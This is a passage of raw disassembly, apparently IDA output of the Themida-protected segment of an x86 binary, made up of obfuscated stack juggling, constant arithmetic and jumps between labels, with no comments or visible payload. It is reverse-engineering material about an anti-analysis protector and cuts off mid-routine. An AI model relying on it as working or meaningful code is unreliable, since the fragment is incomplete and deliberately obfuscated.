		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 57F22A9Fh
		push	ecx
		jmp	loc_55DB4D
; ---------------------------------------------------------------------------


loc_5611E0:				; CODE XREF: Themida_:0056C655j
		mov	[esp], eax
		mov	eax, esp
		push	esi
		push	eax
		mov	eax, 46C42137h
		mov	esi, 0B93BDECDh
		add	esi, eax
		pop	eax
		add	eax, esi
		jmp	loc_5706FC
; ---------------------------------------------------------------------------


loc_5611FB:				; CODE XREF: Themida_:00564321j
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebx, 46614CDCh
		add	ebx, ecx
		sub	ebx, 46614CDCh
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_56BE51
; ---------------------------------------------------------------------------


loc_56122A:				; CODE XREF: Themida_:0056761Ej
		add	ebp, 10755E18h
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_561246:				; CODE XREF: Themida_:0055EF78j
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		push	1EDEh
		mov	[esp], ebx
		jmp	loc_57081E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3301h
		jmp	loc_568144
; ---------------------------------------------------------------------------


loc_561279:				; CODE XREF: Themida_:0055E3E6j
		pop	edi
		jmp	loc_56D8F5
; ---------------------------------------------------------------------------


loc_56127F:				; CODE XREF: Themida_:005672B9j
		sub	ecx, 162860CDh
		xor	ecx, 3064A58Bh
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 493E27C6h
		jmp	loc_57033C
; ---------------------------------------------------------------------------


loc_561299:				; CODE XREF: Themida_:00566C71j
		add	ax, bx
		mov	bx, [esp]
		jmp	loc_5603AB
; ---------------------------------------------------------------------------


loc_5612A5:				; CODE XREF: Themida_:00570D61j
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_567708
; ---------------------------------------------------------------------------


loc_5612DD:				; CODE XREF: Themida_:0056AC61j
		push	esi
		mov	esi, 1DB4108Dh
		sub	esi, 0D44EF9D2h
		jmp	loc_560A0B
; ---------------------------------------------------------------------------


loc_5612EE:				; CODE XREF: Themida_:005663D0j
		add	ebx, 7D74F77h
		shr	ebx, 2
		dec	ebx
		not	ebx
		jmp	loc_5720EB
; ---------------------------------------------------------------------------


loc_5612FF:				; CODE XREF: Themida_:00560C67j
		push	ebp
		push	3CBD135Dh
		jmp	loc_563144
; ---------------------------------------------------------------------------


loc_56130A:				; CODE XREF: Themida_:0055EFB5j
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_56BF4E
; ---------------------------------------------------------------------------


loc_561318:				; CODE XREF: Themida_:0056A3CFj
		mov	eax, 3B857007h
		push	edi
		mov	edi, 311526FFh
		add	edi, 37E8655Ch
		add	edi, 0EEE1B9E3h
		add	ebx, edi
		pop	edi
		jmp	loc_55DC0C
; ---------------------------------------------------------------------------


loc_561337:				; CODE XREF: Themida_:0055D422j
		xor	ah, 62h
		dec	ah
		shl	ah, 7
		xor	ah, 92h
		jmp	loc_5668C1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_56297C
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_565D3A
; ---------------------------------------------------------------------------


loc_561365:				; CODE XREF: Themida_:005671A5j
		push	esi
		mov	esi, esp
		jmp	loc_56BF3B
; ---------------------------------------------------------------------------


loc_56136D:				; CODE XREF: Themida_:0056C118j
		xor	edi, eax
		pop	eax
		xor	edi, 4B626BB2h
		sub	edi, 3FD105FBh
		push	780Ch
		mov	[esp], eax
		mov	eax, 60B22355h
		or	edi, eax
		pop	eax
		push	2448h
		mov	[esp], ebp
		mov	ebp, 3546C64h
		or	ebp, 1E6E2777h
		inc	ebp
		shl	ebp, 8
		jmp	loc_56DC55
; ---------------------------------------------------------------------------


loc_5613A8:				; CODE XREF: Themida_:0055FBB5j
		mov	edi, 5BAA7B17h
		inc	edi
		add	edi, 0C65B389h
		add	ecx, edi
		pop	edi
		pop	ebx
		add	ecx, 4
		push	1524h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_572821
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_5613D2:				; CODE XREF: sub_59DB3D-37052j
		mov	al, 4Fh
		mov	ch, 4Dh
		xor	ch, al
		pop	eax
		or	ah, ch
		mov	cx, word ptr [esp+28h+var_28]
		add	esp, 2
		push	edx
		jmp	loc_56C717
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_5613E8:				; CODE XREF: Themida_:0056D50Aj
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_57190D
; ---------------------------------------------------------------------------


loc_5613F4:				; CODE XREF: Themida_:00562F83j
		pop	ebx
		add	edx, esi
		pop	esi
		push	esi
		mov	esi, esp
		push	7C5Eh
		mov	[esp], eax
		mov	eax, 80B591Eh
		shl	eax, 3
		and	eax, 0BA32A53h
		xor	eax, 20854h
		add	esi, eax
		pop	eax
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_565407
; ---------------------------------------------------------------------------


loc_561423:				; CODE XREF: Themida_:00568094j
		mov	ecx, 1B3750DBh
		mov	eax, 3D37E887h
		add	eax, ecx
		pop	ecx
		jmp	loc_564B74
; ---------------------------------------------------------------------------


loc_561435:				; CODE XREF: Themida_:0056E411j
		push	dword ptr [eax]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56143C:				; CODE XREF: Themida_:0056DEB5j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ebp
		push	eax
		mov	eax, 62593AC1h
		push	edi
		mov	edi, 674715BFh
		mov	ebp, edi
		pop	edi
		add	ebp, 0FB12A502h
		xor	ebp, eax
		mov	eax, [esp]
		push	eax
		push	4E3Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	ebp
		push	50B0h
		jmp	loc_569562
; ---------------------------------------------------------------------------


loc_56147C:				; CODE XREF: Themida_:00564DD7j
		push	eax
		push	ebx
		mov	ebx, ecx
		mov	eax, ebx
		pop	ebx
		jmp	loc_55F6CA
; ---------------------------------------------------------------------------


loc_561488:				; CODE XREF: Themida_:0056B0BEj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_56F15D
; ---------------------------------------------------------------------------


loc_56149A:				; CODE XREF: Themida_:00563978j
		add	esi, 88ACB48Ch
		add	edx, esi
		jmp	loc_55F1D9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	67FCh
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_5614F8
; ---------------------------------------------------------------------------


loc_5614BC:				; CODE XREF: Themida_:00565D9Cj
		add	edi, ebx
		pop	ebx
		mov	ecx, 0D8A065Dh
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5682DC
; ---------------------------------------------------------------------------


loc_5614D1:				; CODE XREF: Themida_:00571AA6j
		push	edi
		mov	edi, 658A628Bh
		push	esi
		jmp	loc_56F147
; ---------------------------------------------------------------------------


loc_5614DD:				; CODE XREF: Themida_:00563747j
		add	ebx, 770E4078h
		sub	ebx, edx
		sub	ebx, 770E4078h
		push	72EBh
		mov	[esp], eax
		jmp	loc_5615D9
; ---------------------------------------------------------------------------


loc_5614F8:				; CODE XREF: Themida_:005614B7j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_563570
; ---------------------------------------------------------------------------


loc_561510:				; CODE XREF: Themida_:0056E06Dj
		mov	[esp], ebp
		push	5F7Ch
		jmp	loc_56994A
; ---------------------------------------------------------------------------


loc_56151D:				; CODE XREF: Themida_:00567442j
		xor	ecx, 50511A58h
		shl	ecx, 7
		xor	ecx, 0B193BA7Eh
		and	ebp, ecx
		pop	ecx
		sub	ebp, 0E4373023h
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_563C23
; ---------------------------------------------------------------------------


loc_56154D:				; CODE XREF: Themida_:0056AF32j
		push	edx
		jmp	loc_57240B
; ---------------------------------------------------------------------------


loc_561553:				; CODE XREF: Themida_:00560C15j
		push	edx
		mov	edx, edi
		mov	ebx, edx
		pop	edx
		jmp	loc_571DDB
; ---------------------------------------------------------------------------


loc_56155E:				; CODE XREF: Themida_:0056A22Ej
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56A8AC
; ---------------------------------------------------------------------------


loc_561567:				; CODE XREF: Themida_:00560983j
		shr	al, 7
		sub	al, 6Fh
		jmp	loc_569101
; ---------------------------------------------------------------------------


loc_561571:				; CODE XREF: Themida_:00562257j
		pop	esp
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56D67B
; ---------------------------------------------------------------------------


loc_561580:				; CODE XREF: Themida_:005628F1j
		xor	edi, 310D1602h
		add	edi, 0F0A9299h
		add	ecx, edi
		pop	edi
		sub	ecx, 70350BD2h
		pop	edi
		add	eax, [ecx]
		pop	ecx
		jmp	loc_56360C
; ---------------------------------------------------------------------------


loc_56159E:				; CODE XREF: Themida_:00560459j
		sub	esp, 4
		jmp	loc_56A4F4
; ---------------------------------------------------------------------------
		push	2458h
		jmp	loc_56FF19
; ---------------------------------------------------------------------------


loc_5615B3:				; CODE XREF: Themida_:0055F734j
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55D5EF
; ---------------------------------------------------------------------------


loc_5615BF:				; CODE XREF: Themida_:0056B195j
		push	edi
		mov	edi, 6C094F01h
		push	edi
		jmp	loc_56313A
; ---------------------------------------------------------------------------


loc_5615CB:				; CODE XREF: Themida_:00561072j
		add	ecx, eax
		pop	eax
		jmp	loc_56F554
; ---------------------------------------------------------------------------


loc_5615D3:				; CODE XREF: Themida_:0055DA38j
		push	edi
		jmp	loc_56FA3A
; ---------------------------------------------------------------------------


loc_5615D9:				; CODE XREF: Themida_:005614F3j
		mov	eax, 690635EBh
		sub	ebx, eax
		pop	eax
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	313Eh
		mov	[esp], ebx
		jmp	loc_56D077
; ---------------------------------------------------------------------------


loc_5615FA:				; CODE XREF: Themida_:0056C13Bj
		push	ebx
		push	esp
		jmp	loc_562D45
; ---------------------------------------------------------------------------


loc_561601:				; CODE XREF: Themida_:0056867Aj
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, 250A4B1Eh
		sub	ebx, edx
		push	ebp
		mov	ebp, 7D970CA0h
		shl	ebp, 3
		inc	ebp
		jmp	loc_56D40D
; ---------------------------------------------------------------------------


loc_561624:				; CODE XREF: Themida_:00561947j
		sub	ecx, 1D7A016Ch
		sub	ecx, 8EAF8698h
		push	ecx
		add	dword ptr [esp], 152D224Eh
		pop	ebp
		sub	ebp, 152D224Eh
		pop	ecx
		add	ebp, ebx
		jmp	loc_56037B
; ---------------------------------------------------------------------------


loc_561647:				; CODE XREF: Themida_:0056EAFBj
		xor	ah, bh
		jmp	loc_56BC64
; ---------------------------------------------------------------------------


loc_56164E:				; CODE XREF: Themida_:005679E4j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5718E0
; ---------------------------------------------------------------------------


loc_56165B:				; CODE XREF: Themida_:00571F6Ej
		pop	esi
		jmp	loc_55E01D
; ---------------------------------------------------------------------------


loc_561661:				; CODE XREF: Themida_:00563E7Fj
		push	eax
		jmp	loc_57109E
; ---------------------------------------------------------------------------


loc_561667:				; CODE XREF: Themida_:0056A720j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	46A3h
		mov	[esp], ebp
		push	edx
		push	edi
		jmp	loc_55D611
; ---------------------------------------------------------------------------


loc_56167F:				; CODE XREF: Themida_:00562436j
		mov	[esp], ecx
		mov	ch, 0E6h
		mov	bh, 4
		add	bh, 0
		sub	bh, ch
		sub	bh, 0
		pop	ecx
		add	al, 0ABh
		jmp	loc_570405
; ---------------------------------------------------------------------------


loc_561696:				; CODE XREF: Themida_:005603C8j
		dec	ecx
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		neg	ecx
		neg	ecx
		xor	ecx, 9F388D24h
		sub	edx, 1BA5509Bh
		add	edx, ecx
		add	edx, 1BA5509Bh
		jmp	loc_56E331
; ---------------------------------------------------------------------------


loc_5616BA:				; CODE XREF: Themida_:0056AEB3j
		xor	dword ptr [esp], 1142EF1h
		pop	ebp
		push	eax
		mov	eax, 1142EF1h
		xor	ebp, eax
		pop	eax
		pop	esi
		neg	ebp
		xor	ebp, 849595ABh
		jmp	loc_56FEC0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_561F18
; ---------------------------------------------------------------------------


loc_5616E3:				; CODE XREF: Themida_:0056614Ej
		pop	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_56C3D6
; ---------------------------------------------------------------------------


loc_5616EC:				; CODE XREF: Themida_:00566140j
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_5690D9
; ---------------------------------------------------------------------------


loc_5616F8:				; CODE XREF: Themida_:0056B9F1j
		add	bl, dl
		pop	edx
		add	bl, cl
		jmp	loc_561901
; ---------------------------------------------------------------------------


loc_561702:				; CODE XREF: Themida_:00560B72j
		mov	[esp], ecx
		jmp	loc_5660FE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_56BAF6
; ---------------------------------------------------------------------------


loc_56171B:				; CODE XREF: Themida_:0056D624j
		push	5598h
		mov	[esp], edi
		push	71A630AEh
		pop	edi
		push	edi
		not	dword ptr [esp]
		jmp	loc_566B9C
; ---------------------------------------------------------------------------


loc_561732:				; CODE XREF: Themida_:0056A105j
		mov	[esp], edx
		mov	edx, 2
		jmp	loc_55EAC1
; ---------------------------------------------------------------------------


loc_56173F:				; CODE XREF: Themida_:0056AEE9j
		mov	edx, 744E3784h
		shr	edx, 8
		shl	edx, 1
		sub	edx, 29255EA5h
		dec	edx
		not	edx
		push	edx
		inc	dword ptr [esp]
		pop	edx
		sub	edx, 2B0FEE45h
		xor	edi, edx
		pop	edx
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 93F59426h
		sub	edi, edx
		jmp	loc_5654BF
; ---------------------------------------------------------------------------


loc_561775:				; CODE XREF: Themida_:005692A9j
		mov	eax, [esp]
		add	esp, 4
		add	ebp, edi
		jmp	loc_55D743
; ---------------------------------------------------------------------------


loc_561782:				; CODE XREF: Themida_:00571E2Ej
		add	ebp, 0E8DC18AEh
		sub	esi, ebp
		pop	ebp
		inc	esi
		jmp	loc_562C6A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55DE99
; ---------------------------------------------------------------------------


loc_5617AB:				; CODE XREF: Themida_:0056B047j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	bl, 0CAh
		push	edx
		mov	dl, 78h
		jmp	loc_56FA57
; ---------------------------------------------------------------------------


loc_5617C5:				; CODE XREF: Themida_:0056A5DAj
		push	edi
		mov	edi, 534F7419h
		dec	edi
		neg	edi
		or	edi, 144942F7h
		jmp	loc_56AAF1
; ---------------------------------------------------------------------------


loc_5617D9:				; CODE XREF: Themida_:00569ABAj
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_5718F3
; ---------------------------------------------------------------------------


loc_5617E9:				; CODE XREF: Themida_:0056EF84j
		add	esp, 4
		push	ebx
		jmp	loc_5631B6
; ---------------------------------------------------------------------------


loc_5617F2:				; CODE XREF: Themida_:005707ECj
		xor	ebp, 9D4B1B44h
		jmp	loc_563FA9
; ---------------------------------------------------------------------------


loc_5617FD:				; CODE XREF: Themida_:00564CD0j
		add	dword ptr [esp], 4F9C2D39h
		mov	eax, [esp]
		jmp	loc_5659F8
; ---------------------------------------------------------------------------


loc_56180C:				; CODE XREF: Themida_:00562FFFj
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 5B0F063Ch
		not	ebx
		shl	ebx, 3
		dec	ebx
		dec	ebx
		inc	ebx
		xor	ebx, 40ADB2B0h
		dec	ebx
		shr	ebx, 5
		shr	ebx, 1
		jmp	loc_56F55E
; ---------------------------------------------------------------------------


loc_561830:				; CODE XREF: Themida_:00565EA3j
		shr	esi, 4
		jmp	loc_560E42
; ---------------------------------------------------------------------------


loc_561838:				; CODE XREF: Themida_:00572196j
		or	ebx, 4ACD5529h
		add	ebx, 7D0626A2h
		dec	ebx
		add	ebx, 8809F9F8h
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_56FE7F
; ---------------------------------------------------------------------------


loc_561856:				; CODE XREF: Themida_:0055E11Cj
		mov	eax, 7DB44071h
		push	edx
		jmp	loc_55F9F2
; ---------------------------------------------------------------------------


loc_561861:				; CODE XREF: Themida_:00570D27j
		sub	ebp, 21FF77ABh
		add	ecx, 44847EACh
		add	ecx, ebp
		sub	ecx, 44847EACh
		pop	ebp
		push	eax
		mov	eax, 10384935h
		and	eax, 6A890723h
		push	edi
		push	esi
		mov	esi, 3FAC5E02h
		mov	edi, 57C67775h
		sub	edi, esi
		pop	esi
		and	eax, edi
		pop	edi
		xor	eax, 4F421630h
		push	5F97h
		mov	[esp], edx
		mov	edx, 7B9A2477h
		push	ebp
		mov	ebp, 49AC1735h
		sub	ebp, 75FC2497h
		jmp	loc_570680
; ---------------------------------------------------------------------------


loc_5618B6:				; CODE XREF: Themida_:0056C88Ej
		push	2154700Ah
		jmp	loc_55DA07
; ---------------------------------------------------------------------------


loc_5618C0:				; CODE XREF: Themida_:005691FDj
		shr	edi, 7
		neg	edi
		sub	edi, 0EDBB3CDEh
		mov	ecx, 4C4C2776h
		add	ecx, edi
		pop	edi
		add	ecx, 1
		xor	ecx, 63A63637h
		xor	ecx, 3EF90106h
		push	ecx
		add	dword ptr [esp], 5D7F5E4Dh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56EF7B
; ---------------------------------------------------------------------------


loc_5618F8:				; CODE XREF: Themida_:00565B81j
		mov	dl, 0E0h
		dec	dl
		jmp	loc_561B35
; ---------------------------------------------------------------------------


loc_561901:				; CODE XREF: Themida_:005616FDj
		push	eax
		jmp	loc_5725A2
; ---------------------------------------------------------------------------
		lodsb
		push	esi
		mov	esi, esp
		jmp	loc_56C2CC
; ---------------------------------------------------------------------------


loc_561910:				; CODE XREF: Themida_:0056E1E6j
		add	edx, 4F7D3462h
		jmp	loc_563332
; ---------------------------------------------------------------------------


loc_56191B:				; CODE XREF: Themida_:00567338j
		mov	[esp], edx
		mov	edx, esp
		push	7324h
		mov	[esp], ecx
		push	2057h
		mov	[esp], ebp
		mov	ebp, 4
		push	ebp
		push	edx
		mov	edx, 72D76FE3h
		jmp	loc_56A124
; ---------------------------------------------------------------------------


loc_561941:				; CODE XREF: Themida_:005725B9j
		push	ecx
		mov	ecx, 64A5573Dh
		jmp	loc_561624
; ---------------------------------------------------------------------------


loc_56194C:				; CODE XREF: Themida_:0056306Dj
		push	ebp
		mov	ebp, 499147DEh
		jmp	loc_5628BE
; ---------------------------------------------------------------------------


loc_561957:				; CODE XREF: Themida_:0056778Bj
		pop	ecx
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 57h
		sub	ch, 0BBh
		or	bl, ch
		pop	ecx
		jmp	loc_569927
; ---------------------------------------------------------------------------


loc_56196C:				; CODE XREF: Themida_:0056E14Cj
		neg	ch
		xor	ch, 0Ah
		sub	ch, 3
		xor	ch, 0B4h
		xor	ch, 99h
		add	ch, 0Bh
		push	ebx
		mov	bl, 4Dh
		dec	bl
		jmp	loc_55FB7A
; ---------------------------------------------------------------------------


loc_561987:				; CODE XREF: Themida_:005703BCj
		add	esp, 4
		xor	ecx, eax
		pop	eax
		sub	eax, 481561FDh
		jmp	loc_561F6A
; ---------------------------------------------------------------------------


loc_561997:				; CODE XREF: Themida_:0056F6B7j
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		inc	ecx
		add	ecx, 0C43A8E53h
		jmp	loc_56A587
; ---------------------------------------------------------------------------


loc_5619AB:				; CODE XREF: Themida_:00567854j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_571AB2
; ---------------------------------------------------------------------------


loc_5619C6:				; CODE XREF: Themida_:00560954j
		pop	edx
		push	ebx
		push	ecx
		push	esi
		mov	esi, 700F10DDh
		push	esi
		add	dword ptr [esp], 233504F5h
		pop	ecx
		sub	ecx, 233504F5h
		pop	esi
		push	edi
		mov	edi, 3DE5479Eh
		jmp	loc_55DA48
; ---------------------------------------------------------------------------


loc_5619EA:				; CODE XREF: Themida_:0056A6CAj
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_56B7FF
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_571D8E
; ---------------------------------------------------------------------------


loc_561A03:				; CODE XREF: Themida_:0056F158j
		push	ecx
		mov	ecx, 57D72537h
		xor	ecx, 5E38767Dh
		add	esi, ecx
		pop	ecx
		add	esi, 245B34C9h
		sub	esi, edi
		sub	esi, 245B34C9h
		sub	esi, 9EF534Ah
		pop	edi
		add	esi, ebp
		add	esi, 1F7554E4h
		mov	ebp, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_568AAF
; ---------------------------------------------------------------------------


loc_561A40:				; CODE XREF: Themida_:00565402j
		sub	edi, esi
		pop	esi
		add	edx, 37191F2Dh
		sub	edx, edi
		sub	edx, 37191F2Dh
		pop	edi
		jmp	loc_569D53
; ---------------------------------------------------------------------------


loc_561A57:				; CODE XREF: Themida_:0055E792j
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		jmp	loc_5603C3
; ---------------------------------------------------------------------------


loc_561A65:				; CODE XREF: Themida_:00568B67j
		xor	esi, 15F03157h
		xor	esi, 141C53F0h
		sub	esi, 2D25763Bh
		sub	esi, 8FFD100h
		jmp	loc_56A10A
; ---------------------------------------------------------------------------


loc_561A82:				; CODE XREF: Themida_:0056C939j
		mov	ecx, [esp]
		jmp	loc_56C64A
; ---------------------------------------------------------------------------


loc_561A8A:				; CODE XREF: Themida_:0056721Cj
		mov	ebx, 24C91C49h
		dec	ebx
		neg	ebx
		add	ebx, 7F1F1FE2h
		xor	ebx, 71A82092h
		add	ecx, ebx
		pop	ebx
		jmp	loc_571765
; ---------------------------------------------------------------------------


loc_561AA6:				; CODE XREF: Themida_:0056C104j
		mov	[esp], ebx
		mov	ebx, 24h
		jmp	loc_56F76C
; ---------------------------------------------------------------------------


loc_561AB3:				; CODE XREF: Themida_:00564B39j
		not	edi
		jmp	loc_56CB80
; ---------------------------------------------------------------------------


loc_561ABA:				; CODE XREF: Themida_:005650FDj
		add	ecx, 70AF46CAh
		shr	ecx, 6
		add	ecx, 0FC7D7D0Ah
		sub	dword ptr [esp+4], 4D2501C0h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 4D2501C0h
		pop	ecx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_565CCD
; ---------------------------------------------------------------------------


loc_561AEF:				; CODE XREF: Themida_:0055DB1Dj
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		push	2
		pop	ebx
		push	edi
		mov	edi, 0CE93AF9h
		push	edx
		mov	edx, 319B4FF5h
		sub	edi, edx
		pop	edx
		add	edi, 29919111h
		add	edx, 5B8C36A0h
		jmp	loc_56F292
; ---------------------------------------------------------------------------


loc_561B1E:				; CODE XREF: Themida_:0056F2BFj
		pop	esp
		jmp	loc_56B561
; ---------------------------------------------------------------------------


loc_561B24:				; CODE XREF: Themida_:005698D8j
		push	ebx
		jmp	loc_56A5AF
; ---------------------------------------------------------------------------


loc_561B2A:				; CODE XREF: Themida_:0056844Bj
		push	ebx
		mov	bh, 9Ah
		xor	bh, 39h
		jmp	loc_561FE5
; ---------------------------------------------------------------------------


loc_561B35:				; CODE XREF: Themida_:005618FCj
		and	dl, 0D5h
		add	dl, 4Dh
		and	ah, dl
		jmp	loc_563C29
; ---------------------------------------------------------------------------


loc_561B42:				; CODE XREF: Themida_:00570245j
		pop	esi
		jmp	loc_56A436
; ---------------------------------------------------------------------------


loc_561B48:				; CODE XREF: Themida_:00569710j
		mov	ebp, [esp]
		jmp	loc_566453
; ---------------------------------------------------------------------------


loc_561B50:				; CODE XREF: Themida_:0055E8A1j
		add	eax, edi
		jmp	loc_55DFFF
; ---------------------------------------------------------------------------


loc_561B57:				; CODE XREF: Themida_:0056DE90j
		sub	eax, 786E7EF1h
		jmp	loc_5691C7
; ---------------------------------------------------------------------------


loc_561B61:				; CODE XREF: Themida_:00563B4Fj
		push	ecx
		push	esi
		mov	esi, 36326635h
		mov	ecx, esi
		pop	esi
		push	ecx
		pop	edi
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1
		jmp	loc_5680B5
; ---------------------------------------------------------------------------


loc_561B7E:				; CODE XREF: Themida_:005710FFj
		add	dword ptr [esp], 2D1470AFh
		mov	eax, [esp]
		jmp	loc_57030B
; ---------------------------------------------------------------------------


loc_561B8D:				; CODE XREF: Themida_:0056289Bj
		inc	esi
		xor	esi, 39880885h
		xor	ebx, esi
		pop	esi
		xor	ebp, ebx
		pop	ebx
		xor	ebp, 76975D3h
		shl	ebp, 5
		push	ebx
		mov	ebx, 924764C6h
		xor	ebp, ebx
		pop	ebx
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_55E7E7
; ---------------------------------------------------------------------------


loc_561BB6:				; CODE XREF: Themida_:0056D3DBj
		sub	esp, 4
		jmp	loc_56B8F9
; ---------------------------------------------------------------------------


loc_561BBE:				; CODE XREF: Themida_:0056FD22j
		xor	ebp, 1F39771Ch
		shl	ebp, 4
		dec	ebp
		sub	ebp, 0A1D1D96Ah
		push	eax
		mov	eax, 7D97237Ah
		or	eax, 7B3448AEh
		xor	eax, 4A117B51h
		jmp	loc_562852
; ---------------------------------------------------------------------------


loc_561BE3:				; CODE XREF: Themida_:0056C099j
		push	50F06C11h
		mov	edx, [esp]
		jmp	loc_56913B
; ---------------------------------------------------------------------------


loc_561BF0:				; CODE XREF: Themida_:005649A4j
		neg	ebx
		inc	ebx
		jmp	loc_560FB0
; ---------------------------------------------------------------------------


loc_561BF8:				; CODE XREF: Themida_:00571848j
		mov	eax, esp
		jmp	loc_55F0BC
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_561C08:				; CODE XREF: Themida_:0056352Ej
		add	esp, 4
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_561C13:				; CODE XREF: Themida_:0056878Aj
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5713A2
; ---------------------------------------------------------------------------


loc_561C1D:				; CODE XREF: Themida_:0056FC4Ej
		push	55h
		jmp	loc_56F838
; ---------------------------------------------------------------------------


loc_561C27:				; CODE XREF: Themida_:00569B1Aj
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_564AC3
; ---------------------------------------------------------------------------


loc_561C35:				; CODE XREF: Themida_:005655EFj
		push	esi
		mov	esi, 424A4144h
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	esi, edx
		pop	edx
		jmp	loc_56E5FB
; ---------------------------------------------------------------------------


loc_561C49:				; CODE XREF: Themida_:005662EBj
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 7DF07C5Eh
		not	esi
		jmp	loc_55FA02
; ---------------------------------------------------------------------------


loc_561C59:				; CODE XREF: Themida_:005709C4j
		push	ebx
		mov	ebx, 4C0F552Ah
		and	ebx, 43826602h
		sub	ebx, 581243C5h
		xor	ebx, 6CFC0E9Ch
		not	ebx
		neg	ebx
		jmp	loc_567802
; ---------------------------------------------------------------------------


loc_561C7A:				; CODE XREF: Themida_:00568E3Bj
		mov	esi, 1B0F009Ch
		xor	ebx, esi
		pop	esi
		push	ebx
		jmp	loc_56E26D
; ---------------------------------------------------------------------------


loc_561C88:				; CODE XREF: Themida_:0055E973j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7B2E0E4Dh
		and	esi, ecx
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_55E7C5
; ---------------------------------------------------------------------------


loc_561CA0:				; CODE XREF: Themida_:005700FDj
		mov	esi, 2E31154Eh
		neg	esi
		sub	esi, 0FFFFFFFFh
		inc	esi
		not	esi
